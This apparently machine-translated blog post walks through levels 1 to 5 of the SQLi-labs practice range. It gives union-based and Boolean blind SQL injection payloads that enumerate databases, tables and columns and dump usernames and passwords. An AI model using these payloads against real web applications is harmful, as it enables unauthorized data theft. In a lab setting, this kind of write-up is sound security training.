当前位置:网站首页>Sqli labs range 1-5
Sqli labs range 1-5
2022-06-26 10:56:00 【Qihai】
technological process
- Determine injection point and injection type
- Determine the number of fields
- Judge the display bit
- Blast storage
- Explosion meter
- Pop field name
- Pop content
Configuration considerations
Use sqli-labs Local range , Problems needing attention in configuring local range :
Database configuration file db-creds.inc


php Because the shooting range is very old , therefore php Select a lower version of , such as 5.3.29

Less-1 Single quotation mark Injection
1. Determine injection point and injection type
Single quote error ?id=-1' --+
2. Check the number of fields
?id=1' order by 4--+
3. Judge the display bit
?id=-1' union select 1,2,3 --+
4. Check the library
-1' union select 1,2,database()--+
5. Look up the table
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
6. List
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
7. Search content
-1' union select 1,group_concat(username),3 from security.users --+
-1' union select 1,group_concat(username),group_concat(password) from users --+
Judgment type
Single quotation marks echo normally , The query statement is closed , There are injection points


1’ and 1=1 Echo normal ,1’ and 1=2 Echo error
Judgment fields

order by 3 normal ,order by 4 Report errors , There are three fields
Judge the display bit

Blast the name of the warehouse
Reveal the name of the library :security
Name of Pop Watch
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
Name of the table :emails,referers,uagents,users
Choose a table ,users
Name it
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

Pop field
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

Less-2 Digital injection
Judgment type

and 1=1 normal ,and 1=2 Report errors , The judgment is digital
Judgment fields

order by Determine the number of fields ,3 A field
Judge the display bit

Blast storage

Explosion meter
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

Burst train
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

Pop field
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+

Less-3 Single quotation marks + Brackets Inject
Judgment type
Find out ') It can be closed 
ps:
During the experiment , It is found that double quotation marks can also be closed , But the execution of subsequent commands failed , It should be that the sentence judgment is not correct .
Check the corresponding sql The sentence can clearly know that this level is ') To close .
Judgment fields

The number of fields is 3
Judge the display bit

Blast storage

Explosion meter
Less-3/?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

Burst train
Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

Pop field

Less-4 Double quotes + Brackets Inject
Judgment type
Double quotes + Parentheses can close 
Analyze the source code :
For the input id Added double quotation marks , Parentheses are added to the execution statement
Judgment fields


Judge the display bit

Blast storage

Explosion meter
Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

Burst train
Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

Pop field
Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+

Less-5
Judgment type

Single quote closure
Determine the number of fields


Judge the display bit
No display bit , Try error injection or blind injection
Fifth level reference :https://blog.csdn.net/Fly_hps/article/details/80247032
Blind note — Based on Boolean
Test database version :
/Less-5/?id=1' and left(version(),1)=5 --+
Check it out. version(), The version number of the database is 5.3, The meaning of this sentence here is to see if the first digit of the version number is 5, It is clear that the result returned is correct .

Determine the length of the database name
Test database length
Less-5/?id=1' and length(database())=8--+

Blasting warehouse name left(a,b)
The first place of the test library name
Less-5/?id=1' and left(database(),1)>'a'--+ Less-5/?id=1' and left(database(),1)='s'--+
Test the first two digits of the library name
Less-5/?id=1' and left(database(),2)='se'--+
...


Tested greater than 、 Less than after , We can finally use be equal to Make sure that the first place in the database is s
ps:
Without our knowledge , We can use dichotomy to improve injection efficiency
The subsequent judgments are the same , Just guess one by one , It just needs to be modified left(a,b) in b The location of ( This position determines where to start the test ).
Finally, the name of the database tested is security
Blasting table substr()、ascii()
obtain security The first character of the first table of the database :
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+ /Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 --+
It can be modified by substr(str,start,length) Second parameter in “start” To guess the contents of the second character of the first table .
Guess the name of the second table , Can pass limit start,length To achieve , By modifying the start Value , To obtain and test the second parameter .
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100--+
The first table :
After testing , The first character of the first table of the database is e
The second table :
After testing , We can determine that the database name is security, And there are... In the database user surface .
Burst train regexp
Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+ Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
Determine the user Presence in table us**** The column of
Confirm that there are columns username
Pop field ord()、mid()
obtain user In the table username Of the first character of the first line in ascii:
/Less-5/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
cast(username as char) take username convert to char type ,
Notice that this is cast function ( grammar :cast( Field name as Type of conversion ) )
ifnull(expr1,expr2) The syntax of the function is if expr1 No null,ifnull() return expr1, Otherwise it returns expr2.
0x20 It's a space ascii The hexadecimal representation of the code .
mid() Function to intercept a part of a string ,mid(str,start,length) From the position start Start , Intercept str A string of length position .
ord() The function is the same as ascii(), Convert characters to ascii value

An error injection
Blind injection is a little painful , Write again when you are free after reporting an error
边栏推荐
- Progressive web application PWA is the future of application development
- MySQL backup and restore command
- Quantitative investment learning - Introduction to classic books
- MySQL第九次作业-连接查询&子查询
- RDB持久化验证测试
- DataBinding使用与原理分析
- [online simulation] Arduino uno PWM controls the speed of DC motor
- Common regular expressions - tool classes (mobile number, email, QQ, fax)
- Oracle sqlplus query result display optimization
- CentOS installs redis multi master multi slave cluster
猜你喜欢

Which PHP open source works deserve attention

SVN 安装配置

QT连接MySql数据查询失败
![[echart] II. User manual and configuration item reading notes](/img/03/fa87e5b8f8d23381ea6923d507f250.jpg)
[echart] II. User manual and configuration item reading notes

哪些PHP开源作品值得关注

Flutter and native communication (Part 1)

Quantitative investment learning - Introduction to classic books

開發者,微服務架構到底是什麼?

02-Redis数据结构之链表

Swiftui development experience: data layer of application design for offline priority
随机推荐
Win10 start FTP service and set login authentication
MySQL第六次作业-查询数据-多条件
Fabric.js 上划线、中划线(删除线)、下划线
六月集训(第26天) —— 并查集
MySQL第七次作业-更新数据
The difference between NPM and yarn
最强swarm集群一键部署+氢弹级容器管理工具介绍
24 个必须掌握的数据库面试问题!
Query online users and forced withdrawal users based on oauth2
Global and Chinese market of contemporary lampshade 2022-2028: Research Report on technology, participants, trends, market size and share
Sqli-labs靶场1-5
基础-MySQL
Using baijiafan to automatically generate API calls: progress in JS (II)
Docker中实现MySQL主从复制
用同花顺手机炒股是安全的吗?如何用同花顺炒股
开发者,微服务架构到底是什么?
JWT (SSO scheme) + three ways of identity authentication
Windows and Linux regularly backup MySQL database
Expand and collapse too high div
RDB persistence validation test